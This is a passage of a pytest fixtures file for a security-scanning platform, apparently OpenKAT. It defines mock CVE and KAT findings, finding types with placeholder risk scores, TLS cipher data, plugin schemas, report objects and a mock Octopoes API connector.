\"Finding|SoftwareInstance|HostnameHTTPURL|https|internet|mispo.es|443|/|Software|Bootstrap|3.3.7|cpe:/a:getbootstrap:bootstrap|CVE-2023-38408\"\n        ),\n        proof=None,\n        description=\"Vulnerability CVE-2023-38408 detected\",\n        reproduce=None,\n    )\n\n\n@pytest.fixture\ndef cve_finding_2019_8331() -> Finding:\n    return Finding(\n        finding_type=Reference.from_str(\"CVEFindingType|CVE-2019-8331\"),\n        ooi=Reference.from_str(\n            \"Finding|SoftwareInstance|HostnameHTTPURL|https|internet|mispo.es|443|/|Software|Bootstrap|3.3.7|cpe:/a:getbootstrap:bootstrap|CVE-2019-8331\"\n        ),\n        proof=None,\n        description=\"Vulnerability CVE-2019-8331 detected\",\n        reproduce=None,\n    )\n\n\n@pytest.fixture\ndef cve_finding_2019_2019() -> Finding:\n    return Finding(\n        finding_type=Reference.from_str(\"CVEFindingType|CVE-2019-2019\"),\n        ooi=Reference.from_str(\n            \"Finding|SoftwareInstance|HostnameHTTPURL|https|internet|mispo.es|443|/|Software|Bootstrap|3.3.7|cpe:/a:getbootstrap:bootstrap|CVE-2019-2019\"\n        ),\n        proof=None,\n        description=\"Vulnerability CVE-2019-2019 detected\",\n        reproduce=None,\n    )\n\n\n@pytest.fixture\ndef cve_finding_type_no_score() -> CVEFindingType:\n    return CVEFindingType(\n        id=\"CVE-0000-0001\",\n        description=\"CVE Finding without score\",\n        source=\"https://cve.circl.lu/cve/CVE-0000-0001\",\n        risk_severity=RiskLevelSeverity.UNKNOWN,\n    )\n\n\n@pytest.fixture\ndef cve_finding_no_score() -> Finding:\n    return Finding(\n        finding_type=Reference.from_str(\"CVEFindingType|CVE-0000-0001\"),\n        ooi=Reference.from_str(\n            \"Finding|SoftwareInstance|HostnameHTTPURL|https|internet|mispo.es|443|/|Software|Bootstrap|3.3.7|cpe:/a:getbootstrap:bootstrap|CVE-0000-0001\"\n        ),\n        proof=None,\n        description=\"Vulnerability CVE-0000-0001 detected\",\n        reproduce=None,\n    )\n\n\n@pytest.fixture\ndef finding() -> Finding:\n    return Finding(\n        finding_type=Reference.from_str(\"KATFindingType|KAT-0001\"),\n        ooi=Reference.from_str(\"Network|testnetwork\"),\n        proof=\"proof\",\n        description=\"description\",\n        reproduce=\"reproduce\",\n    )\n\n\n@pytest.fixture\ndef web_report_finding_types():\n    return [\n        KATFindingType(id=\"KAT-NO-CSP\"),\n        KATFindingType(id=\"KAT-CSP-VULNERABILITIES\"),\n        KATFindingType(id=\"KAT-NO-HTTPS-REDIRECT\"),\n        KATFindingType(id=\"KAT-NO-CERTIFICATE\"),\n        KATFindingType(id=\"KAT-NO-SECURITY-TXT\"),\n        KATFindingType(id=\"KAT-UNCOMMON-OPEN-PORT\"),\n        KATFindingType(id=\"KAT-OPEN-SYSADMIN-PORT\"),\n        KATFindingType(id=\"KAT-OPEN-DATABASE-PORT\"),\n        KATFindingType(id=\"KAT-CERTIFICATE-EXPIRED\"),\n        KATFindingType(id=\"KAT-CERTIFICATE-EXPIRING-SOON\"),\n    ]\n\n\n@pytest.fixture\ndef no_rpki_finding_type() -> KATFindingType:\n    return KATFindingType(id=\"KAT-NO-RPKI\")\n\n\n@pytest.fixture\ndef invalid_rpki_finding_type() -> KATFindingType:\n    return KATFindingType(id=\"KAT-INVALID-RPKI\")\n\n\n@pytest.fixture\ndef finding_types() -> list[KATFindingType]:\n    return [\n        KATFindingType(\n            id=\"KAT-0001\",\n            description=\"Fake description...\",\n            recommendation=\"Fake recommendation...\",\n            risk_score=9.5,\n            risk_severity=RiskLevelSeverity.CRITICAL,\n        ),\n        KATFindingType(\n            id=\"KAT-0002\",\n            description=\"Fake description...\",\n            recommendation=\"Fake recommendation...\",\n            risk_score=9.5,\n            risk_severity=RiskLevelSeverity.CRITICAL,\n        ),\n        KATFindingType(\n            id=\"KAT-0003\",\n            description=\"Fake description...\",\n            recommendation=\"Fake recommendation...\",\n            risk_score=3.9,\n            risk_severity=RiskLevelSeverity.LOW,\n        ),\n    ]\n\n\n@pytest.fixture\ndef tree_data_no_findings():\n    return {\n        \"root\": {\n            \"reference\": \"Finding|Network|testnetwork|KAT-0001\",\n            \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n        },\n        \"store\": {},\n    }\n\n\n@pytest.fixture\ndef tree_data_findings():\n    return {\n        \"root\": {\n            \"reference\": \"Finding|Network|testnetwork|KAT-0001\",\n            \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n        },\n        \"store\": {\n            \"Network|testnetwork\": {\n                \"object_type\": \"Network\",\n                \"primary_key\": \"Network|testnetwork\",\n                \"name\": \"testnetwork\",\n            },\n            \"Finding|Network|testnetwork|KAT-0001\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0001\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-0001\",\n            },\n            \"Finding|Network|testnetwork|KAT-0002\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0002\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-0002\",\n            },\n            \"Finding|Network|testnetwork|KAT-0003\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0003\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-0001\",\n            },\n        },\n    }\n\n\n@pytest.fixture\ndef tree_data_dns_findings():\n    return {\n        \"root\": {\n            \"reference\": \"Finding|Network|testnetwork|KAT-0001\",\n            \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n        },\n        \"store\": {\n            \"Finding|Network|testnetwork|KAT-0001\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0001\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NO-CAA\",\n            },\n            \"Finding|Network|testnetwork|KAT-0002\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0002\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NO-DKIM\",\n            },\n            \"Finding|Network|testnetwork|KAT-0003\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0003\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NO-DMARC\",\n            },\n            \"Finding|Network|testnetwork|KAT-0004\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0004\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NO-DNSSEC\",\n            },\n            \"Finding|Network|testnetwork|KAT-0005\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0005\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NO-SPF\",\n            },\n            \"Finding|Network|testnetwork|KAT-0006\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0006\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-INVALID-SPF\",\n            },\n            \"Finding|Network|testnetwork|KAT-0007\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0007\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NAMESERVER-NO-IPV6\",\n            },\n            \"Finding|Network|testnetwork|KAT-0008\": {\n                \"object_type\": \"Finding\",\n                \"primary_key\": \"Finding|Network|testnetwork|KAT-0008\",\n                \"ooi\": \"Network|testnetwork\",\n                \"finding_type\": \"KATFindingType|KAT-NAMESERVER-NO-TWO-IPV6\",\n            },\n            \"DNSSOARecord|Network|testnetwork|KAT-0009\": {\n                \"object_type\": \"DNSSOARecord\",\n                \"primary_key\": \"DNSSOARecord|Network|testnetwork|KAT-0009\",\n                \"hostname\": \"Hostname|internet|example.com\",\n                \"dns_record_type\": \"SOA\",\n                \"value\": \"fake value\",\n                \"ttl\": 3600,\n                \"soa_hostname\": \"Hostname|internet|example.com\",\n            },\n            \"DNSARecord|Network|testnetwork|KAT-00010\": {\n                \"object_type\": \"DNSARecord\",\n                \"primary_key\": \"DNSARecord|Network|testnetwork|KAT-00010\",\n                \"hostname\": \"Hostname|internet|example.com\",\n                \"dns_record_type\": \"A\",\n                \"value\": \"fake value\",\n                \"address\": \"IPAddressV4|internet|127.0.0.1\",\n            },\n        },\n    }\n\n\n@pytest.fixture\ndef finding_type_kat_invalid_spf() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-INVALID-SPF\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=6.0,\n        risk_severity=RiskLevelSeverity.MEDIUM,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_nameserver_no_ipv6() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-NAMESERVER-NO-IPV6\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=9.5,\n        risk_severity=RiskLevelSeverity.CRITICAL,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_no_two_ipv6() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-NAMESERVER-NO-TWO-IPV6\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=1.0,\n        risk_severity=RiskLevelSeverity.LOW,\n    )\n\n\n@pytest.fixture\ndef cipher_finding_types() -> list[KATFindingType]:\n    return [\n        KATFindingType(\n            id=\"KAT-RECOMMENDATION-BAD-CIPHER\",\n            description=\"Fake description...\",\n            recommendation=\"Fake recommendation...\",\n            risk_score=3.0,\n            risk_severity=RiskLevelSeverity.RECOMMENDATION,\n        ),\n        KATFindingType(\n            id=\"KAT-CRITICAL-BAD-CIPHER\",\n            description=\"Fake description...\",\n            recommendation=\"Fake recommendation...\",\n            risk_score=10.0,\n            risk_severity=RiskLevelSeverity.CRITICAL,\n        ),\n    ]\n\n\n@pytest.fixture\ndef cipher_finding_type() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-MEDIUM-BAD-CIPHER\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=6.0,\n        risk_severity=RiskLevelSeverity.MEDIUM,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_no_spf() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-NO-SPF\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=9.5,\n        risk_severity=RiskLevelSeverity.CRITICAL,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_no_dmarc() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-NO-DMARC\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=9.5,\n        risk_severity=RiskLevelSeverity.CRITICAL,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_no_dkim() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-NO-DKIM\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=9.5,\n        risk_severity=RiskLevelSeverity.CRITICAL,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_uncommon_open_port() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-UNCOMMON-OPEN-PORT\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=9.5,\n        risk_severity=RiskLevelSeverity.CRITICAL,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_open_sysadmin_port() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-OPEN-SYSADMIN-PORT\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=8.5,\n        risk_severity=RiskLevelSeverity.HIGH,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_open_database_port() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-OPEN-DATABASE-PORT\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=6.5,\n        risk_severity=RiskLevelSeverity.MEDIUM,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_no_dnssec() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-NO-DNSSEC\",\n        description=\"Fake description...\",\n        recommendation=\"Fake recommendation...\",\n        risk_severity=RiskLevelSeverity.PENDING,\n    )\n\n\n@pytest.fixture\ndef finding_type_kat_invalid_dnssec() -> KATFindingType:\n    return KATFindingType(\n        id=\"KAT-INVALID-DNSSEC\",\n        recommendation=\"Fake recommendation...\",\n        risk_score=3.0,\n        risk_severity=RiskLevelSeverity.LOW,\n    )\n\n\n@pytest.fixture\ndef cipher(ip_service: IPService) -> TLSCipher:\n    return TLSCipher(\n        ip_service=ip_service.reference,\n        suites={\n            \"TLSv1\": [\n                {\n                    \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\",\n                    \"encryption_algorithm\": \"AES\",\n                    \"cipher_suite_name\": \"ECDHE-RSA-AES128-SHA\",\n                    \"bits\": 128,\n                    \"key_size\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"xc013\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\",\n                    \"encryption_algorithm\": \"AES\",\n                    \"cipher_suite_name\": \"ECDHE-RSA-AES256-SHA\",\n                    \"bits\": 256,\n                    \"key_size\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"xc014\",\n                },\n            ]\n        },\n    )\n\n\n@pytest.fixture\ndef query_data_tls_findings_and_suites(cipher):\n    return [\n        Finding(\n            ooi=cipher.reference,\n            description=\"Fake description with cipher_suite_name ECDHE-RSA-AES128-SHA\",\n            finding_type=KATFindingType(id=\"KAT-RECOMMENDATION-BAD-CIPHER\").reference,\n        ),\n        Finding(\n            ooi=cipher.reference,\n            description=\"Fake description with cipher_suite_name ECDHE-RSA-AES256-SHA\",\n            finding_type=KATFindingType(id=\"KAT-MEDIUM-BAD-CIPHER\").reference,\n        ),\n        Finding(\n            ooi=cipher.reference,\n            description=\"Fake description...\",\n            finding_type=KATFindingType(id=\"KAT-CRITICAL-BAD-CIPHER\").reference,\n        ),\n    ]\n\n\n@pytest.fixture\ndef plugin_details(plugin_schema):\n    return parse_plugin(\n        {\n            \"id\": \"test-boefje\",\n            \"type\": \"boefje\",\n            \"name\": \"TestBoefje\",\n            \"created\": \"2023-05-09T09:37:20.909069+00:00\",\n            \"description\": \"Meows to the moon\",\n            \"scan_level\": 1,\n            \"consumes\": [\"Network\"],\n            \"produces\": [\"Network\"],\n            \"enabled\": True,\n            \"boefje_schema\": plugin_schema,\n            \"oci_image\": None,\n            \"oci_arguments\": [\"-test\", \"-arg\"],\n        }\n    )\n\n\n@pytest.fixture\ndef plugin_details_with_container(plugin_schema):\n    return parse_plugin(\n        {\n            \"id\": \"test-boefje\",\n            \"type\": \"boefje\",\n            \"name\": \"TestBoefje\",\n            \"created\": \"2023-05-09T09:37:20.909069+00:00\",\n            \"description\": \"Meows to the moon\",\n            \"scan_level\": 1,\n            \"consumes\": [\"Network\"],\n            \"produces\": [\"Network\"],\n            \"enabled\": True,\n            \"boefje_schema\": plugin_schema,\n            \"oci_image\": \"ghcr.io/test/image:123\",\n            \"oci_arguments\": [\"-test\", \"-arg\"],\n        }\n    )\n\n\n@pytest.fixture\ndef plugin_schema():\n    return {\n        \"title\": \"Arguments\",\n        \"type\": \"object\",\n        \"properties\": {\n            \"TEST_PROPERTY\": {\n                \"title\": \"TEST_PROPERTY\",\n                \"maxLength\": 128,\n                \"type\": \"string\",\n                \"description\": \"Test description\",\n            },\n            \"TEST_PROPERTY2\": {\n                \"title\": \"TEST_PROPERTY2\",\n                \"type\": \"integer\",\n                \"minimum\": 2,\n                \"maximum\": 200,\n                \"description\": \"Test description2\",\n            },\n        },\n        \"required\": [\"TEST_PROPERTY\"],\n    }\n\n\n@pytest.fixture\ndef plugin_schema_no_required():\n    return {\n        \"title\": \"Arguments\",\n        \"type\": \"object\",\n        \"properties\": {\n            \"TEST_PROPERTY\": {\n                \"title\": \"TEST_PROPERTY\",\n                \"maxLength\": 128,\n                \"type\": \"string\",\n                \"description\": \"Test description\",\n            },\n            \"TEST_PROPERTY2\": {\n                \"title\": \"TEST_PROPERTY2\",\n                \"type\": \"integer\",\n                \"minimum\": 2,\n                \"maximum\": 200,\n                \"description\": \"Test description2\",\n            },\n        },\n    }\n\n\nrecipe = ReportRecipe(\n    report_type=\"concatenated-report\",\n    recipe_id=uuid.uuid4(),\n    report_name_format=\"test\",\n    cron_expression=\"* * * *\",\n    input_recipe={},\n    asset_report_types=[],\n)\n\nparent_report = HydratedReport(\n    report_recipe=recipe.reference,\n    primary_key=\"Report|e821aaeb-a6bd-427f-b064-e46837911a5d\",\n    name=\"Test Parent Report\",\n    report_type=\"concatenated-report\",\n    template=\"report.html\",\n    date_generated=datetime(2024, 1, 1, 23, 59, 59, 999999),\n    reference_date=datetime(2024, 1, 1, 23, 59, 59, 999999),\n    input_oois=[],\n    organization_code=\"test_organization\",\n    organization_name=\"Test Organization\",\n    organization_tags=[],\n    data_raw_id=\"a5ccf97b-d4e9-442d-85bf-84e739b6d3ed\",\n    observed_at=datetime(2024, 1, 1, 23, 59, 59, 999999),\n)\n\n\ndef create_asset_report(\n    name,\n    report_type,\n    template,\n    uuid_iterator: Iterator,\n    input_ooi=\"Hostname|internet|example.com\",\n    organization_code: str = \"test\",\n    organization_name: str = \"Test Organization\",\n) -> AssetReport:\n    return AssetReport(\n        report_recipe=recipe.reference,\n        name=name,\n        report_type=report_type,\n        template=template,\n        date_generated=datetime(2024, 1, 1, 23, 59, 59, 999999),\n        reference_date=datetime(2024, 1, 1, 23, 59, 59, 999999),\n        input_ooi=input_ooi,\n        organization_code=organization_code,\n        organization_name=organization_name,\n        organization_tags=[],\n        data_raw_id=str(next(uuid_iterator)),\n        observed_at=datetime(2024, 1, 1, 23, 59, 59, 999999),\n    )\n\n\ndef create_report(\n    name, report_type, template, asset_reports: list[AssetReport] | None, uuid_iterator: Iterator | None\n) -> HydratedReport:\n    if asset_reports is None:\n        asset_reports = []\n\n    return HydratedReport(\n        report_recipe=recipe.reference,\n        name=name,\n        report_type=report_type,\n        template=template,\n        date_generated=datetime(2024, 1, 1, 23, 59, 59, 999999),\n        reference_date=datetime(2024, 1, 1, 23, 59, 59, 999999),\n        input_oois=asset_reports,\n        organization_code=\"test\",\n        organization_name=\"Test Organization\",\n        organization_tags=[],\n        data_raw_id=str(next(uuid_iterator)),\n        observed_at=datetime(2024, 1, 1, 23, 59, 59, 999999),\n    )\n\n\nids = iter(\n    [\n        UUID(\"acbd2250-85f4-471a-ab70-ba1750280194\"),\n        UUID(\"ba2d86b8-aca8-4009-adc0-e3d59ea34904\"),\n        UUID(\"3d2ea955-13c1-46f6-81f3-edfe72d8af0b\"),\n        UUID(\"fe4d0f5d-5447-47d3-952d-74544c8a9d8d\"),\n        UUID(\"3ca35c20-1139-4bf4-a11a-a0b83f3c48ff\"),\n        UUID(\"1e419bee-672f-4561-b3b9-f47bd6ce60b7\"),\n        UUID(\"1e419bee-672f-4561-b3b9-f47bd6ce60b7\"),\n    ]\n)\n\n\nassets = [\n    create_asset_report(\"RPKI Report\", \"rpki-report\", \"rpki_report/report.html\", ids),\n    create_asset_report(\n        \"Safe Connections Report\", \"safe-connections-report\", \"safe_connections_report/report.html\", ids\n    ),\n    create_asset_report(\"System Report\", \"systems-report\", \"systems_report/report.html\", ids),\n    create_asset_report(\"Mail Report\", \"mail-report\", \"mail_report/report.html\", ids),\n    create_asset_report(\"IPv6 Report\", \"ipv6-report\", \"ipv6_report/report.html\", ids),\n    create_asset_report(\"Web System Report\", \"web-system-report\", \"web_system_report/report.html\", ids),\n    create_asset_report(\"Web System Report\", \"web-system-report\", \"web_system_report/report.html\", ids),\n]\n\ndns_report = create_asset_report(\n    \"DNS Report\", \"dns-report\", \"dns_report/report.html\", iter([\"a5ccf97b-d4e9-442d-85bf-84e739b63da9s\"])\n)\n\n\n@pytest.fixture\ndef report_list_one_asset_report():\n    uuids = iter([\"acbd2250-85f4-471a-ab70-ba17502801e\"])\n    return [create_report(\"Concatenated test report\", \"concatenated-report\", \"report.html\", [assets[0]], uuids)]\n\n\n@pytest.fixture\ndef report_list_two_asset_reports():\n    uuids = iter([\"acbd2250-85f4-471a-ab70-ba17502801a\"])\n    return [\n        create_report(\"Concatenated test report\", \"concatenated-report\", \"report.html\", [assets[5], assets[6]], uuids)\n    ]\n\n\n@pytest.fixture\ndef report_list_six_asset_reports():\n    uuids = iter([\"acbd2250-85f4-471a-ab70-ba17502801a\"])\n    asset_reports = [assets[0], assets[1], assets[2], assets[3], assets[4], assets[5]]\n    return [create_report(\"Concatenated test report\", \"concatenated-report\", \"report.html\", asset_reports, uuids)]\n\n\n@pytest.fixture\ndef get_asset_reports() -> list[tuple[str, Report]]:\n    return [\n        (parent_report.primary_key, assets[0]),\n        (parent_report.primary_key, assets[1]),\n        (parent_report.primary_key, assets[2]),\n        (parent_report.primary_key, assets[3]),\n        (parent_report.primary_key, assets[4]),\n        (parent_report.primary_key, assets[5]),\n    ]\n\n\n@pytest.fixture\ndef report_recipe():\n    return ReportRecipe(\n        report_type=\"concatenated-report\",\n        recipe_id=\"744d054e-9c70-4f18-ad27-122cfc1b7903\",\n        report_name_format=\"Test Report Name Format\",\n        input_recipe={\"input_oois\": [\"Hostname|internet|mispo.es\"]},\n        asset_report_types=[\"dns-report\"],\n        cron_expression=\"0 0 * * *\",\n    )\n\n\ndef setup_request(request, user):\n    request = SessionMiddleware(lambda r: r)(request)\n    request.session[DEVICE_ID_SESSION_KEY] = user.staticdevice_set.get().persistent_id\n    request = OTPMiddleware(lambda r: r)(request)\n    request = MessageMiddleware(lambda r: r)(request)\n\n    request.user = user\n\n    return request\n\n\n@pytest.fixture\ndef mock_scheduler(mocker):\n    return mocker.patch(\"rocky.views.scheduler.scheduler_client\")()\n\n\ndef get_stub_path(file_name: str) -> Path:\n    return Path(__file__).parent / \"stubs\" / file_name\n\n\ndef get_boefjes_data() -> list[dict]:\n    return json.loads(get_stub_path(\"katalogus_boefjes.json\").read_text())\n\n\ndef get_normalizers_data() -> list[dict]:\n    return json.loads(get_stub_path(\"katalogus_normalizers.json\").read_text())\n\n\ndef get_aggregate_report_data():\n    return json.loads(get_stub_path(\"aggregate_report_data.json\").read_text())\n\n\n@pytest.fixture()\ndef get_multi_report_data_minvws():\n    return json.loads(get_stub_path(\"multi_report_data_minvws.json\").read_text())\n\n\n@pytest.fixture()\ndef get_multi_report_data_mispoes():\n    return json.loads(get_stub_path(\"multi_report_data_mispoes.json\").read_text())\n\n\n@pytest.fixture()\ndef get_multi_report_post_processed_data():\n    return json.loads(get_stub_path(\"multi_report_post_processed_data.json\").read_text())\n\n\ndef get_plugins_data() -> list[dict]:\n    return get_boefjes_data() + get_normalizers_data()\n\n\n@pytest.fixture()\ndef mock_mixins_katalogus(mocker):\n    return mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n\n\n@pytest.fixture()\ndef mock_katalogus_client(mocker):\n    return mocker.patch(\"katalogus.client.KATalogusClient\")\n\n\n@pytest.fixture\ndef mock_scheduler_client_task_list(mock_scheduler):\n    mock_scheduler_session = mock_scheduler._client\n    response = Response(\n        200,\n        content=(\n            json.dumps(\n                {\n                    \"count\": 1,\n                    \"next\": \"http://scheduler:8000/tasks?scheduler_id=boefje-test&type=boefje&plugin_id=test_plugin&limit=10&offset=10\",\n                    \"previous\": None,\n                    \"results\": [\n                        {\n                            \"id\": \"2e757dd3-66c7-46b8-9987-7cd18252cc6d\",\n                            \"hash\": \"416aa907e0b2a16c1b324f7d3261c5a4\",\n                            \"scheduler_id\": \"boefje-test\",\n                            \"schedule_id\": None,\n                            \"type\": \"boefje\",\n                            \"priority\": 631,\n                            \"data\": {\n                                \"id\": \"2e757dd366c746b899877cd18252cc6d\",\n                                \"boefje\": {\"id\": \"test-plugin\", \"version\": None},\n                                \"input_ooi\": \"Hostname|internet|example.com\",\n                                \"organization\": \"test\",\n                                \"dispatches\": [],\n                            },\n                            \"status\": \"completed\",\n                            \"created_at\": \"2023-05-09T09:37:20.909069+00:00\",\n                            \"modified_at\": \"2023-05-09T09:37:20.909071+00:00\",\n                        }\n                    ],\n                }\n            ).encode()\n        ),\n    )\n\n    mock_scheduler_session.get.return_value = response\n\n    return mock_scheduler_session\n\n\nclass MockOctopoesAPIConnector:\n    oois: dict[Reference, OOI]\n    queries: dict[str, dict[Reference | str | None, list[OOI]]]\n    valid_time: datetime\n\n    def __init__(self, valid_time: datetime):\n        self.valid_time = valid_time\n\n    def get(self, reference: Reference, valid_time: datetime | None = None) -> OOI:\n        return self.oois[reference]\n\n    def get_tree(\n        self, reference: Reference, valid_time: datetime, types: set = frozenset(), depth: int = 1\n    ) -> ReferenceTree:\n        return self.tree[reference]\n\n    def query(\n        self, path: str, valid_time: datetime, source: Reference | str | None = None, offset: int = 0, limit: int = 50\n    ) -> list[OOI]:\n        return self.queries[path][source]\n\n    def query_many(\n        self, path: str, valid_time: datetime, sources: list[OOI | Reference | str]\n    ) -> list[tuple[str, OOIType]]:\n        result = []\n\n        for source in sources:\n            for ooi in self.queries[path][str(source)]:\n                result.append((str(source), ooi))\n\n        return result\n\n    def get_history(self, reference: Reference) -> list[TransactionRecord]:\n        return [\n            TransactionRecord(\n                txTime=self.valid_time,\n                txId=287,\n                validTime=self.valid_time,\n                contentHash=\"636a28da4792b9f5007143bb35bd37d48662df9b\",\n            )\n        ]\n\n    def list_origins(\n        self,\n        valid_time: datetime | None = None,\n        source: Reference | None = None,\n        result: Reference | None = None,\n        task_id: UUID | None = None,\n        origin_type: OriginType | None = None,\n    ) -> list[Origin]:\n        return []\n\n    def list_objects(\n        self,\n        types: set[type[OOI]],\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        scan_level: set[ScanLevel] = DEFAULT_SCAN_LEVEL_FILTER,\n        scan_profile_type: set[ScanProfileType] = DEFAULT_SCAN_PROFILE_TYPE_FILTER,\n    ) -> Paginated[OOIType]:\n        return Paginated[OOIType](items=list(self.oois.values()), count=len(self.oois))\n\n\n@pytest.fixture\ndef mock_octopoes_api_connector(valid_time):\n    return MockOctopoesAPIConnector(valid_time)\n\n\n@pytest.fixture\ndef listed_hostnames(network) -> list[Hostname]:\n    return [\n        Hostname(network=network.reference, name=\"example.com\"),\n        Hostname(network=network.reference, name=\"a.example.com\"),\n        Hostname(network=network.reference, name=\"b.example.com\"),\n        Hostname(network=network.reference, name=\"c.example.com\"),\n        Hostname(network=network.reference, name=\"d.example.com\"),\n        Hostname(network=network.reference, name=\"e.example.com\"),\n        Hostname(network=network.reference, name=\"f.example.com\"),\n    ]\n\n\n@pytest.fixture\ndef paginated_task_list(task):\n    return PaginatedTasksResponse(count=1, next=\"\", previous=None, results=[task])\n\n\n@pytest.fixture\ndef reports_more_input_oois():\n    uuids = iter([f\"acbd2250-85f4-471a-ab70-ba175028019{i}\" for i in range(1, 9)])\n    references = [f\"Hostname|internet|example{i}.com\" for i in range(1, 9)]\n    sc_name = \"Safe Connections Report\"\n\n    return create_report(\n        \"Test Parent Report\",\n        \"concatenated-report\",\n        \"report.html\",\n        [\n            create_asset_report(\"RPKI Report\", \"rpki-report\", \"rpki_report/report.html\", uuids, references[0]),\n            create_asset_report(\"RPKI Report\", \"rpki-report\", \"rpki_report/report.html\", uuids, references[1]),\n            create_asset_report(\"RPKI Report\", \"rpki-report\", \"rpki_report/report.html\", uuids, references[2]),\n            create_asset_report(\"RPKI Report\", \"rpki-report\", \"rpki_report/report.html\", uuids, references[3]),\n            create_asset_report(\n                sc_name, \"safe-connections-report\", \"safe_connections_report/report.html\", uuids, references[4]\n            ),\n            create_asset_report(\n                sc_name, \"safe-connections-report\", \"safe_connections_report/report.html\", uuids, references[5]\n            ),\n            create_asset_report(\n                sc_name, \"safe-connections-report\", \"safe_connections_report/report.html\", uuids, references[6]\n            ),\n            create_asset_report(\n                sc_name, \"safe-connections-report\", \"safe_connections_report/report.html\", uuids, references[7]\n            ),\n        ],\n        iter([\"a5ccf97b-d4e9-442d-85bf-84e739b6d3ed\"]),\n    )\n\n\n@pytest.fixture\ndef rocky_health():\n    ServiceHealth(\n        service=\"rocky\",\n        healthy=True,\n        version=\"0.0.1.dev1\",\n        additional=None,\n        results=[\n            ServiceHealth(\n                service=\"octopoes\",\n                healthy=True,\n                version=\"0.0.1.dev1\",\n                additional=None,\n                results=[\n                    ServiceHealth(\n                        service=\"xtdb\",\n                        healthy=True,\n                        version=\"1.24.1\",\n                        additional={\n                            \"version\": \"1.24.1\",\n                            \"revision\": \"1164f9a3c7e36edbc026867945765fd4366c1731\",\n                            \"indexVersion\": 22,\n                            \"consumerState\": None,\n                            \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n                            \"estimateNumKeys\": 24552,\n                            \"size\": 24053091,\n                        },\n                        results=[],\n                    )\n                ],\n            ),\n            ServiceHealth(service=\"katalogus\", healthy=True, version=\"0.0.1-development\", additional=None, results=[]),\n            ServiceHealth(service=\"scheduler\", healthy=True, version=\"0.0.1.dev1\", additional=None, results=[]),\n            ServiceHealth(service=\"bytes\", healthy=True, 